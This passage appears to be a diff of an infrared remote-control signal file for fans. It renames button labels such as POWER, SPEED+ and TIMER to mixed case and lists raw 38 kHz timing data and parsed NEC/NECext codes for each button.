1241 428 528 1142 503 8025 1240 429 1240 429 502 1167 1241 429 1240 429 502 1167 503 1167 503 1167 502 1167 1240 429 502 1168 501 8026 1239 430 1239 430 501 1169 1238 431 1238 430 501 1170 524 1170 475 1171 499 1170 1237 456 475 1195 474 # -name: MODE +name: Mode type: raw frequency: 38000 duty_cycle: 0.330000 data: 1242 425 1242 401 554 1140 1242 426 1243 428 504 1165 504 1167 1240 427 530 1141 530 1139 504 1167 527 7998 1241 427 1242 427 503 1166 1241 427 1242 428 529 1141 503 1167 1239 429 528 1141 503 1168 529 1140 528 7999 1240 428 1241 427 504 1167 1240 429 1239 429 528 1142 502 1167 1241 428 503 1167 503 1166 528 1142 528 7999 1240 429 1240 429 501 1168 1240 428 1242 427 528 1143 527 1142 1241 428 503 1167 502 1167 528 1142 502 8026 1239 428 1242 428 528 1142 1215 455 1240 427 504 1169 500 1168 1241 427 503 1168 527 1141 504 1166 530 7999 1239 429 1240 429 503 1167 1240 430 1239 430 502 1168 502 1168 1238 430 503 1169 526 1142 503 1167 502 8026 1239 429 1240 429 502 1168 1239 430 1241 428 502 1168 502 1168 1239 429 502 1167 503 1167 502 1168 502 8025 1239 428 1241 429 527 1143 1239 428 1241 429 502 1168 526 1142 1242 428 502 1167 502 1168 502 1167 502 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 9086 4339 707 443 681 445 681 422 704 445 681 445 681 445 681 445 681 445 656 1563 683 1563 682 1563 707 1539 706 1562 682 1562 682 1564 680 1565 679 1566 679 448 679 1567 678 448 679 448 679 448 679 1566 679 448 679 448 678 1566 679 448 678 1566 678 1566 678 1566 678 448 678 1566 679 39846 9058 2132 679 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 9083 4342 705 446 679 447 679 447 680 447 680 447 679 425 702 447 679 447 654 1564 681 1564 680 1565 680 1591 680 1565 680 1565 679 1565 679 1566 678 1568 677 1569 676 1569 676 451 676 450 677 450 677 1569 676 451 676 451 675 450 677 450 677 1570 675 1570 675 1569 676 451 676 1569 676 39854 9056 2136 677 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 9267 4339 708 443 682 445 682 422 734 416 711 416 711 416 711 415 712 415 658 1563 682 1564 682 1565 681 1587 684 1562 683 1563 683 1563 682 1564 681 1565 680 447 679 447 679 1566 679 1566 680 447 680 447 680 447 680 447 680 1566 679 1566 679 447 680 447 680 1566 679 1566 679 1566 679 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 9085 4343 705 446 679 447 680 447 680 447 679 425 701 447 679 423 703 446 655 1563 682 1563 681 1565 679 1589 681 1564 680 1563 680 1564 679 1566 678 449 677 450 676 1568 677 1568 677 1569 676 450 676 450 676 450 677 1568 677 1568 677 450 676 450 676 450 677 1568 676 1568 677 1568 676 # -name: MODE +name: Mode type: raw frequency: 38000 duty_cycle: 0.330000 data: 1284 419 1288 442 417 1258 1288 415 1282 448 411 1264 443 1258 439 1263 444 1258 1288 415 444 1258 439 8679 1284 419 1288 441 407 1267 1289 441 1256 447 412 1262 435 1267 440 1262 435 1293 1263 413 435 1267 440 8679 1284 418 1289 441 407 1267 1289 414 1283 447 412 1262 435 1267 440 1261 436 1267 1289 413 435 1267 440 8678 1285 418 1289 440 408 1267 1289 440 1257 447 412 1262 435 1267 440 1262 435 1268 1288 414 434 1268 439 8679 1284 418 1289 440 408 1267 1289 413 1284 445 414 1261 436 1266 441 1260 437 1266 1290 412 436 1266 441 8676 1287 415 1282 448 411 1264 1282 421 1286 443 416 1258 439 1263 434 1267 440 1262 1284 419 440 1262 435 8683 1280 422 1285 444 415 1287 1259 444 1253 449 410 1292 415 1285 412 1264 443 1259 1287 416 443 1259 438 8680 1284 420 1287 414 434 1268 1288 415 1282 447 412 1289 408 1267 440 1262 435 1267 1289 414 434 1268 439 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 1283 420 1287 443 416 1259 1287 443 1254 449 410 1292 415 1260 437 1266 1290 439 409 1266 442 1261 436 8684 1290 413 1284 446 413 1263 1283 447 1261 442 417 1258 439 1263 444 1259 1287 442 417 1259 438 1264 443 8677 1287 416 1281 449 410 1265 1281 449 1259 444 415 1260 437 1265 442 1260 1286 443 416 1260 437 1265 442 8676 1288 415 1282 447 412 1263 1283 447 1261 442 417 1257 440 1263 434 1268 1288 441 418 1257 440 1263 434 8685 1289 414 1283 447 412 1263 1283 447 1261 442 417 1258 439 1263 445 1258 1288 442 417 1258 439 1264 444 8676 1288 415 1282 448 411 1264 1282 448 1260 444 415 1259 438 1264 443 1260 1286 417 442 1260 437 1265 442 8677 1286 416 1281 449 410 1265 1281 422 1285 444 415 1260 437 1265 442 1260 1286 417 442 1260 437 1265 442 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 1281 422 1285 444 415 1260 1286 444 1263 439 409 1266 441 1261 1285 445 414 1261 436 1266 441 1261 436 8682 1281 421 1286 444 415 1260 1286 445 1262 439 409 1266 441 1261 1285 445 414 1261 436 1266 441 1260 437 8683 1280 422 1286 444 415 1261 1285 445 1262 440 408 1267 440 1262 1284 446 413 1262 435 1268 439 1262 435 8684 1279 423 1284 445 414 1261 1285 445 1263 439 409 1265 442 1260 1286 444 415 1260 437 1265 442 1259 438 8682 1281 421 1286 443 416 1259 1287 443 1254 448 411 1264 443 1259 1287 443 416 1259 438 1265 442 1260 437 8682 1281 421 1286 444 415 1260 1286 444 1253 450 409 1266 441 1261 1285 445 414 1261 436 1266 441 1261 436 8683 1290 413 1284 445 414 1262 1283 446 1261 441 407 1294 413 1262 1284 420 439 1263 434 1267 440 1262 435 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 1294 371 1351 322 443 1200 1295 346 1297 373 444 1224 445 1198 1300 345 498 1170 473 1171 496 1173 471 8057 1295 372 1297 347 444 1224 1296 347 1296 349 494 1172 470 1174 1293 376 469 1174 469 1200 468 1175 468 8082 1293 351 1318 349 468 1175 1292 377 1294 349 468 1177 491 1175 1293 350 442 1226 468 1175 468 1201 467 8083 1293 350 1268 401 467 1175 1293 351 1318 350 467 1175 442 1226 1293 350 467 1177 466 1200 468 1176 441 8133 1292 351 1267 400 468 1175 1292 351 1292 376 466 1177 467 1202 1291 352 442 1202 465 1203 441 1201 442 8132 1267 376 1267 402 440 1202 1266 377 1290 379 439 1226 416 1253 1241 402 415 1228 439 1229 414 1228 415 8161 1239 403 1240 404 439 1229 1240 403 1240 429 414 1229 414 1231 1264 404 413 1229 414 1255 413 1229 413 8161 1238 404 1239 405 437 1230 1239 404 1238 430 412 1230 412 1232 1262 405 412 1231 412 1256 412 1231 412 8162 1238 406 1237 406 411 1258 1237 406 1237 431 412 1256 387 1256 1213 456 386 1256 386 1257 412 1256 386 8164 1237 431 1212 431 386 1283 1212 431 1212 432 411 1257 386 1257 1211 457 386 1257 386 1258 411 1258 385 8164 1212 431 1212 432 411 1256 1213 431 1236 433 386 1256 387 1257 1238 430 386 1257 386 1282 386 1256 386 -# ON/SPEED+ -name: POWER +# ON/Speed_up +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1330 364 1385 320 523 1158 1332 365 1329 364 479 1213 481 1213 481 1213 481 1213 481 1213 1332 390 480 8072 1358 362 1329 364 478 1216 1328 366 1328 367 476 1218 476 1218 476 1218 476 1218 476 1218 1328 367 476 8103 1328 367 1327 367 476 1218 1327 367 1327 367 476 1218 476 1218 476 1218 476 1218 476 1218 1327 367 476 8103 1327 367 1327 367 476 1218 1327 368 1326 367 476 1218 476 1219 475 1219 475 1219 475 1219 1326 368 475 8104 1327 368 1326 368 475 1219 1327 368 1326 368 475 1219 475 1219 475 1219 475 1219 475 1219 1326 368 475 8105 1326 368 1326 368 475 1219 1327 368 1326 368 475 1220 474 1220 474 1220 475 1220 474 1220 1325 368 475 8105 1326 369 1325 369 474 1220 1326 369 1325 369 474 1220 474 1220 474 1220 474 1220 474 1220 1326 369 474 8106 1325 369 1325 369 474 1220 1325 369 1326 369 474 1220 474 1220 474 1220 474 1220 474 1221 1324 370 473 8132 1273 422 1272 422 446 1248 1272 422 1297 397 421 1275 419 1300 419 1276 419 1275 419 1250 1297 398 445 8135 1297 397 1297 397 447 1247 1298 397 1297 397 447 1247 447 1247 447 1247 447 1247 447 1247 1298 397 447 8134 1298 397 1298 397 447 1248 1297 397 1297 397 447 1248 446 1248 446 1248 447 1248 447 1248 1297 397 447 8133 1298 397 1297 397 447 1248 1297 397 1297 397 447 1248 446 1248 447 1248 446 1248 446 1248 1297 398 446 8134 1297 398 1296 398 446 1248 1297 398 1296 398 446 1248 446 1248 446 1248 446 1248 446 1248 1296 398 446 8134 1295 398 1296 398 446 1248 1296 398 1296 398 446 1249 445 1249 445 1249 445 1249 445 1249 1295 399 445 8134 1295 399 1295 399 445 1249 1295 399 1295 399 445 1249 445 1249 445 1250 444 1249 445 1249 1295 399 445 8135 1295 400 1294 400 444 1250 1294 400 1295 400 444 1250 444 1250 444 1250 444 1250 444 1250 1294 401 443 8137 1293 401 1294 401 442 1251 1294 401 1293 401 442 1253 442 1252 442 1252 442 1252 442 1252 1293 427 417 8140 1292 426 1268 427 417 1277 1243 452 1267 427 417 1278 417 1277 417 1278 417 1277 417 1277 1268 427 417 8163 1242 452 1242 452 417 1278 1242 453 1241 453 391 1303 391 1303 392 1303 391 1303 391 1303 1242 453 415 8165 1241 453 1241 453 391 1304 1241 453 1241 454 390 1305 389 1304 390 1304 390 1305 389 1305 1240 480 364 8216 1214 480 1214 480 363 1331 1214 480 1214 480 364 1331 363 1331 363 1331 363 1331 363 1331 1214 481 363 8218 1213 481 1213 481 363 1333 1212 508 1186 508 335 1359 335 1359 335 1359 335 1359 335 1360 1186 508 335 8247 1184 509 1185 535 307 1387 1159 536 1158 589 253 1389 306 1415 278 1416 252 1442 199 1575 1052 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1318 346 1298 324 494 1201 1291 345 1297 375 466 1174 470 1200 442 1201 467 1201 441 1201 466 1204 1265 7229 1373 322 1266 375 466 1202 1267 325 1318 378 465 1200 442 1202 465 1202 442 1201 441 1202 467 1171 1297 7281 1268 325 1399 323 439 1200 1293 348 1351 322 441 1202 522 1145 498 1172 439 1204 496 1171 471 1148 1346 7227 1323 322 1266 325 574 1145 1322 322 1347 322 496 1115 528 1171 497 1145 497 1148 521 1145 497 1145 1291 7285 1322 322 1321 323 521 1147 1321 322 1346 322 496 1172 470 1147 522 1145 498 1146 519 1149 497 1171 1297 7252 1323 322 1321 323 520 1144 1323 322 1343 323 498 1144 498 1147 522 1146 496 1146 571 1123 471 1145 1323 7229 1345 322 1321 322 570 1097 1322 323 1320 323 521 1146 496 1146 519 1148 498 1145 498 1149 520 1145 1322 7229 1347 323 1320 322 464 1202 1323 323 1320 322 522 1145 497 1145 466 1228 471 1116 527 1147 522 1147 1321 7226 1348 322 1266 375 442 1202 1292 348 1295 375 523 1146 442 1201 442 1202 466 1200 442 1200 467 1202 1268 7281 1292 375 1270 346 471 1201 1293 373 1270 374 523 1145 445 1199 443 1200 469 1199 443 1200 524 1144 1269 7258 1292 374 1269 374 468 1200 1269 374 1269 400 443 1200 443 1201 467 1201 498 1146 497 1172 497 1145 1324 # -name: POWER +name: Power type: parsed protocol: NECext address: 4B 14 00 00 command: 80 7F 00 00 # -name: MODE +name: Mode type: parsed protocol: NECext address: 4B 14 00 00 command: 20 DF 00 00 # -name: ROTATE +name: Rotate type: parsed protocol: NECext address: 4B 14 00 00 command: C0 3F 00 00 # -name: TIMER +name: Timer type: parsed protocol: NECext address: 4B 14 00 00 command: A0 5F 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 9137 4430 630 1594 661 464 659 1625 630 1624 631 1625 630 1596 659 1596 660 1624 631 492 631 1624 632 1623 632 1593 662 1597 658 1624 631 1625 630 1595 660 491 632 1595 661 1595 660 1624 631 1624 631 1596 660 1624 631 1624 631 1593 663 435 689 491 632 434 690 491 632 491 632 463 661 490 634 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 9107 4400 660 1622 633 464 659 1623 632 1596 659 1622 633 1622 633 1623 632 1622 633 493 630 1593 662 1595 660 1623 632 1593 662 1623 632 1596 659 1623 632 1622 633 420 703 1594 661 424 699 1592 663 1594 661 1595 660 1597 658 423 700 1623 632 489 634 1593 662 461 662 431 692 488 635 489 634 # -name: SPEED- +name: Speed_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 9106 4428 632 1595 660 463 660 1595 660 1622 633 1593 662 1622 633 1622 633 1595 660 490 633 1595 660 1595 660 1592 663 1593 662 1623 632 1623 632 1594 661 1623 632 1595 660 1594 661 1596 659 489 634 1595 660 1595 660 1596 659 463 660 490 633 462 662 422 701 1595 660 464 659 490 633 428 695 # -name: MODE +name: Mode type: raw frequency: 38000 duty_cycle: 0.330000 data: 9136 4401 659 1624 631 463 660 1624 631 1593 663 1623 632 1624 632 1596 660 1594 661 464 659 1597 658 1593 662 1623 632 1595 660 1623 632 1624 631 1594 662 489 634 1623 633 431 693 1594 662 1623 633 1594 662 1595 661 1593 663 1592 663 461 663 1623 632 463 660 434 689 463 660 463 661 426 698 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 9142 4400 661 1593 662 491 632 1624 632 1598 657 1594 662 1594 662 1596 660 1596 660 490 634 1596 660 1596 660 1624 631 1594 662 1623 632 1594 662 1624 632 1624 632 491 632 1624 632 1595 661 1624 631 1624 632 1594 662 1624 631 491 633 1624 632 464 659 492 632 432 692 430 694 464 660 432 692 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 9134 4428 632 1597 658 355 768 1624 631 1623 632 1623 632 1597 658 1623 632 1622 633 463 660 1595 660 1622 633 1596 659 1595 660 1622 633 1623 632 1596 659 1622 633 1623 632 436 687 1623 633 1622 633 1622 633 1622 633 1598 657 434 689 489 634 1622 633 466 657 489 634 490 633 490 633 440 684 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 8980 4377 620 1599 620 489 620 488 621 488 621 488 622 488 621 488 621 488 621 488 621 1597 622 1598 621 1598 621 1597 622 1597 622 1597 622 1597 622 1597 621 1598 646 463 646 464 645 464 645 465 644 466 643 466 643 466 643 466 643 1575 643 1576 643 1576 643 1576 643 1576 643 1576 643 1576 643 1576 643 466 643 466 643 466 643 466 643 466 643 466 643 466 644 466 643 1576 643 1576 643 1576 643 1576 643 1576 643 1576 643 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 9011 4375 620 1598 621 462 647 488 621 488 621 488 676 434 621 488 621 489 620 488 621 1598 621 1598 621 1598 621 1598 621 1597 622 1598 621 1597 622 1597 622 1598 621 488 621 489 644 1576 644 466 643 466 643 466 643 466 643 466 644 1576 643 1576 643 466 643 1576 643 1576 643 1576 643 1576 643 1576 643 466 644 466 643 1576 643 466 644 466 643 466 644 466 643 466 643 1575 644 1576 643 466 643 1575 643 1576 643 1576 643 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 2262 692 881 585 883 583 903 564 903 1294 882 584 881 584 882 559 820 673 895 1300 882 611 881 584 882 584 882 584 882 585 881 584 881 584 882 585 880 1317 879 586 829 1371 827 640 825 51208 2245 690 772 1424 831 50893 2240 691 772 1429 771 50906 2244 690 773 1400 772 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 2264 668 770 721 745 694 772 694 796 1401 826 639 771 694 771 693 772 694 771 1426 798 668 769 1429 795 670 795 1404 794 672 794 1405 767 1431 767 1430 794 672 794 1404 794 1404 794 1404 766 50878 2261 645 817 1405 794 50857 2238 668 795 1428 769 # -name: SPEED- +name: Speed_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 2264 642 823 669 797 643 822 644 822 1376 822 642 799 668 797 669 823 645 820 1401 796 670 794 1379 792 700 793 1381 790 1407 793 674 791 700 793 1406 792 673 793 673 792 673 793 673 792 50785 2262 666 796 1401 797 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 2323 611 796 669 800 664 802 692 773 1424 774 691 801 664 774 691 774 692 773 1423 800 668 822 667 798 1376 769 1427 771 696 769 696 770 1429 795 1404 794 672 794 1404 794 671 795 1404 794 51269 2214 691 769 1427 796 # # ON/SPEED -name: POWER +name: Power type: parsed protocol: NECext address: 00 FC 00 00 command: 84 7B 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1285 426 1258 427 414 1267 1248 436 1258 427 414 1267 406 1276 408 1248 435 1247 437 1271 413 1244 1282 7286 1279 432 1252 433 409 1273 1253 431 1253 432 410 1273 411 1271 413 1243 440 1241 442 1240 433 1275 1251 7292 1283 427 1257 428 413 1268 1258 427 1257 428 414 1268 416 1240 433 1249 434 1248 435 1246 438 1245 1281 7287 1278 406 1278 434 408 1274 1252 432 1252 433 409 1274 410 1246 438 1244 440 1243 440 1241 443 1240 1275 7294 1281 402 1282 430 412 1270 1256 428 1256 429 412 1243 441 1241 443 1240 433 1249 434 1247 436 1246 1280 7288 1277 433 1251 434 408 1248 1278 432 1251 433 409 1273 411 1245 439 1244 440 1242 442 1240 433 1249 1277 7292 1283 400 1304 406 435 1246 1248 436 1279 405 436 1246 406 1249 434 1247 436 1245 438 1244 440 1242 1284 7285 1280 430 1285 400 442 1241 1285 399 1285 400 441 1240 444 1212 440 1241 443 1240 433 1249 434 1273 1284 7259 1306 404 1280 405 436 1245 1281 403 1281 404 438 1244 440 1216 468 1214 438 1244 440 1242 442 1241 1305 7262 1303 408 1276 407 434 1249 1277 407 1276 407 435 1248 436 1220 464 1219 464 1217 466 1242 441 1214 1312 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1280 431 1252 431 410 1244 1281 430 1253 430 411 1270 413 1242 441 1240 433 1249 434 1247 1278 433 408 8129 1277 433 1250 433 408 1274 1251 432 1251 433 409 1273 410 1271 412 1269 414 1241 432 1250 1275 435 406 8133 1283 426 1257 427 414 1267 1248 436 1247 436 405 1276 407 1248 435 1247 436 1245 438 1244 1281 429 412 8126 1280 430 1253 430 411 1270 1255 429 1254 429 412 1269 414 1241 432 1276 407 1248 435 1247 1278 432 410 8129 1277 432 1251 433 408 1273 1252 431 1252 431 411 1272 411 1269 414 1241 442 1240 433 1275 1250 434 408 8130 1276 434 1249 434 407 1275 1250 433 1250 433 408 1274 409 1272 411 1244 439 1268 415 1240 1275 436 405 8133 1283 427 1256 427 414 1267 1248 436 1258 426 405 1277 406 1274 409 1273 410 1245 438 1244 1281 429 412 8125 1281 429 1254 429 412 1269 1256 428 1255 428 413 1268 415 1266 407 1248 435 1247 436 1245 1280 430 411 8127 1279 431 1252 431 411 1271 1254 430 1253 430 412 1270 413 1268 415 1240 433 1275 408 1247 1278 432 410 8128 1278 432 1251 432 410 1272 1253 431 1252 431 410 1271 412 1242 441 1267 406 1250 433 1248 1277 433 409 8129 1277 433 1250 433 409 1272 1253 431 1252 431 410 1271 412 1242 441 1241 432 1250 433 1248 1277 433 409 8129 1277 433 1250 434 408 1246 1279 432 1251 432 409 1245 438 1244 439 1242 441 1240 433 1249 1276 434 407 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 2356 608 934 1216 825 1320 826 1348 793 646 824 673 792 667 792 663 792 720 793 692 793 687 818 657 817 652 817 649 816 1310 815 1306 815 102511 2320 668 819 1332 817 1328 817 1325 815 655 815 650 815 645 815 640 815 699 814 671 814 666 814 661 814 657 813 652 813 1337 788 1333 787 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 390 9025 2296 666 821 1329 821 1324 821 1319 821 647 822 642 822 666 793 661 793 1385 793 691 819 660 819 655 818 652 816 1314 815 644 815 1305 815 101869 2318 668 818 1331 817 1328 816 1323 816 654 815 649 815 645 814 640 814 1363 815 670 815 665 814 660 815 655 814 1316 814 645 814 1306 814 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 2346 612 875 1275 931 1214 929 1211 875 594 875 588 876 582 822 633 821 691 848 1303 847 659 819 1321 817 652 816 1314 815 1310 814 640 814 101247 2320 667 819 1330 818 1327 816 1324 815 654 815 649 815 644 815 639 815 698 814 1335 815 665 814 1325 814 655 814 1315 815 1310 815 640 814 # -name: SPEED- +name: Speed_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 2313 646 841 1308 841 1303 841 1298 841 626 843 621 842 614 819 634 820 1359 844 1333 817 1328 815 1324 814 1321 812 1317 812 647 812 1308 811 99132 2317 670 816 1333 815 1330 813 1326 813 657 812 652 812 647 812 642 812 1366 812 1338 811 1332 812 1328 812 1323 811 1317 813 647 812 1307 812 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 3533 1663 476 420 450 1234 508 421 449 394 477 420 450 420 474 387 459 421 475 396 558 385 432 386 484 386 485 386 434 1263 479 419 447 395 475 394 476 393 478 393 478 392 478 1264 477 393 478 1264 478 1266 500 387 483 395 475 1268 473 397 474 397 474 397 474 397 474 1268 473 397 474 397 474 397 474 397 474 1268 472 1270 472 398 473 398 473 1269 473 398 473 398 473 397 474 1268 473 1269 473 398 473 398 473 1269 472 398 473 1269 472 398 473 1269 472 398 473 1269 472 398 473 74625 3552 1673 473 397 472 1270 472 399 471 399 471 400 470 400 470 401 470 401 470 401 469 401 470 402 469 402 469 402 469 1272 471 400 470 400 470 401 469 402 468 427 444 427 444 1273 471 400 470 1272 470 1271 471 400 470 401 469 1273 470 401 469 427 443 428 442 428 417 1300 469 426 443 428 417 453 442 428 417 1325 443 1274 468 427 443 428 417 1325 443 427 417 454 416 454 416 1326 417 1325 442 427 417 453 417 1325 417 453 417 1325 418 453 416 1326 416 453 417 1326 416 454 416 -# TIMER UP -name: TIMER +# Timer UP +name: Timer type: parsed protocol: NEC address: 80 00 00 00 command: 07 00 00 00 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1367 345 1338 347 491 1170 1361 349 1334 350 488 1198 489 1198 488 1199 488 1199 487 1200 1334 352 486 7953 1333 353 1332 353 486 1200 1333 353 1332 353 486 1200 486 1201 486 1200 486 1200 487 1201 1332 353 486 7953 1332 353 1333 353 485 1201 1332 353 1332 353 485 1201 485 1201 485 1201 486 1200 486 1200 1333 353 486 7953 1333 353 1332 354 485 1201 1332 353 1332 353 485 1201 486 1201 485 1201 485 1201 486 1201 1332 354 484 7954 1332 353 1332 353 485 1201 1332 354 1331 354 485 1201 485 1201 486 1201 486 1201 486 1201 1333 354 484 7954 1332 354 1331 354 485 1201 1332 355 1331 354 484 1201 485 1201 486 1202 485 1201 486 1201 1331 355 484 7953 1332 354 1331 354 484 1201 1332 355 1330 355 483 1202 484 1201 486 1201 485 1202 484 1202 1331 355 484 7954 1331 354 1331 354 484 1202 1331 355 1330 354 484 1202 485 1201 485 1202 484 1202 485 1202 1330 355 484 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 1367 335 1349 346 492 1166 1365 346 1338 347 491 1170 516 1172 514 1173 1359 349 489 1197 489 1198 488 7950 1334 352 1332 352 486 1200 1333 352 1333 352 486 1200 486 1200 486 1200 1333 352 486 1200 486 1200 487 7953 1332 352 1333 353 485 1200 1333 353 1332 353 485 1200 486 1200 486 1200 1333 353 485 1200 486 1200 487 7951 1333 353 1332 352 486 1200 1333 353 1332 353 486 1200 486 1200 486 1200 1333 353 486 1200 486 1200 486 7952 1333 352 1333 353 485 1200 1333 353 1332 353 486 1200 486 1200 486 1200 1333 353 485 1200 486 1200 486 7952 1332 353 1332 353 485 1200 1333 353 1331 353 485 1200 486 1201 485 1201 1332 353 485 1201 485 1201 486 7952 1331 353 1332 354 484 1201 1332 354 1331 354 484 1201 485 1202 484 1201 1332 354 484 1202 484 1202 485 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 1337 374 1311 374 464 1194 1339 373 1340 345 493 1165 521 1165 1365 347 492 1167 519 1168 518 1168 518 7920 1363 347 1336 349 489 1197 1334 352 1333 353 485 1200 486 1200 1333 352 486 1200 486 1200 486 1200 486 # -name: POWER +name: Power type: parsed protocol: NECext address: BA F0 00 00 command: 03 FC 00 00 # -name: SPEED+ +name: Speed_up type: parsed protocol: NECext address: BA F0 00 00 command: 50 AF 00 00 # -name: SPEED- +name: Speed_dn type: parsed protocol: NECext address: BA F0 00 00 command: 41 BE 00 00 # -name: TIMER +name: Timer type: parsed protocol: NECext address: BA F0 00 00 command: 40 BF 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: BA F0 00 00 command: 53 AC 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 9069 4477 591 1695 622 528 625 525 618 505 617 532 621 527 626 497 625 525 618 532 621 1661 615 1640 595 1688 599 1684 613 1643 592 1691 626 1656 620 1636 620 1663 624 526 617 505 628 523 620 529 624 525 618 504 618 531 622 527 616 1643 623 1662 625 1658 618 1637 598 1685 622 1659 627 1655 570 1685 622 528 625 523 620 502 620 529 624 524 619 503 588 561 623 526 617 1667 619 1639 627 1654 622 1660 616 1638 617 1664 622 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 9014 4522 597 1687 610 512 590 559 594 555 619 503 599 550 593 556 597 551 613 509 593 1688 588 1692 615 1639 596 1684 592 1689 587 1666 590 1691 595 1685 591 1689 566 1689 597 551 592 557 638 485 596 553 590 558 595 527 595 554 589 559 594 1686 611 1643 592 1688 588 1692 646 1607 597 1684 592 1688 619 1634 591 558 595 553 590 532 590 558 595 553 590 559 615 506 596 553 590 1693 594 1685 571 1683 593 1686 590 1690 565 # -name: MODE +name: Mode type: raw frequency: 38000 duty_cycle: 0.330000 data: 9066 4476 623 1662 625 525 618 504 587 561 623 526 617 531 622 501 621 528 625 524 619 1661 564 1692 625 1655 621 1660 565 1690 627 1654 622 1659 586 1668 618 1663 623 1657 619 1636 620 529 624 524 619 502 620 529 624 524 619 529 614 509 624 525 618 1663 613 1640 626 1655 621 1659 617 1637 619 1662 625 1656 620 1633 623 527 626 523 620 529 614 508 625 524 619 530 623 499 593 557 617 1663 623 1657 619 1635 621 1660 616 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 9038 4530 589 1665 590 559 594 555 598 551 613 510 592 558 595 553 590 532 590 559 594 1686 590 1690 617 1637 598 1683 593 1687 620 1634 591 1691 595 1685 622 1632 593 557 596 1684 592 530 592 557 596 552 591 558 616 506 596 553 590 1690 596 526 596 1684 592 1688 588 1692 563 1690 596 1684 592 1687 620 503 589 1691 595 553 621 501 591 558 595 553 590 532 590 558 595 1689 597 551 623 1630 595 1686 590 1689 587 1666 589 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 4609 4601 539 1515 545 1511 539 1518 542 1514 546 1510 540 1517 543 2559 541 1515 545 1511 539 2563 537 1519 541 2561 539 1516 544 1512 548 2554 546 1510 540 1515 4604 4605 545 1509 541 1515 545 1538 512 1518 542 1514 546 1511 539 2563 537 1519 541 1515 545 2557 543 1513 547 2555 545 1510 540 1516 544 2559 541 1514 546 13748 9234 2298 545 52033 9228 2304 539 52041 9230 2303 540 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 4605 4603 547 1508 541 1515 545 1511 539 1518 542 1514 546 1511 539 2562 538 1518 542 1515 545 1511 538 2564 547 1509 541 1517 543 1513 547 2555 545 2556 544 1512 4607 4603 547 1508 542 1515 545 1511 539 1518 542 1514 546 1511 538 2564 546 1510 539 1517 543 1514 546 2557 543 1513 547 1510 540 1517 543 2559 541 2561 539 13755 9237 2297 546 52031 9229 2306 547 52033 9237 2297 546 # -name: MODE +name: Mode type: raw frequency: 38000 duty_cycle: 0.330000 data: 4608 4604 546 1509 541 1516 544 1513 547 1509 540 1516 544 1513 547 2555 545 1512 537 2565 545 1511 539 1518 542 2561 539 1516 544 1513 547 1510 539 2563 537 1517 4612 4599 541 1514 546 1511 539 1518 542 1514 546 1511 539 1518 542 2561 539 1518 542 2561 539 1517 543 1514 546 2557 543 1513 547 1510 540 1516 544 2559 541 13755 9237 2298 545 52044 9237 2298 545 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 4606 4604 546 1509 541 1516 544 1512 548 1509 541 1516 544 1512 548 2554 546 1510 540 1517 543 2559 541 1515 545 2557 543 2558 542 1514 546 1511 539 1517 543 1512 4607 4601 539 1516 544 1513 547 1509 541 1516 544 1512 548 1508 542 2561 539 1516 544 1513 547 2555 545 1511 538 2589 522 2555 545 1511 539 1518 542 1515 545 13389 9233 2301 542 51673 9227 2306 547 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 1273 401 1272 426 416 1232 1273 427 1247 426 405 1242 442 1231 442 1231 1274 426 405 1242 431 1242 431 7968 1274 400 1273 426 416 1232 1273 426 1247 426 405 1241 432 1241 432 1241 1275 425 406 1267 406 1240 433 7967 1275 398 1275 424 407 1240 1276 424 1249 424 407 1239 434 1238 435 1238 1278 422 409 1237 436 1237 436 7963 1279 394 1279 420 411 1262 1243 430 1243 430 412 1234 439 1234 439 1233 1272 428 414 1232 441 1232 441 7958 1273 426 1248 426 405 1241 1275 426 1248 425 406 1266 407 1240 433 1240 1276 424 407 1265 408 1238 435 7965 1277 422 1251 423 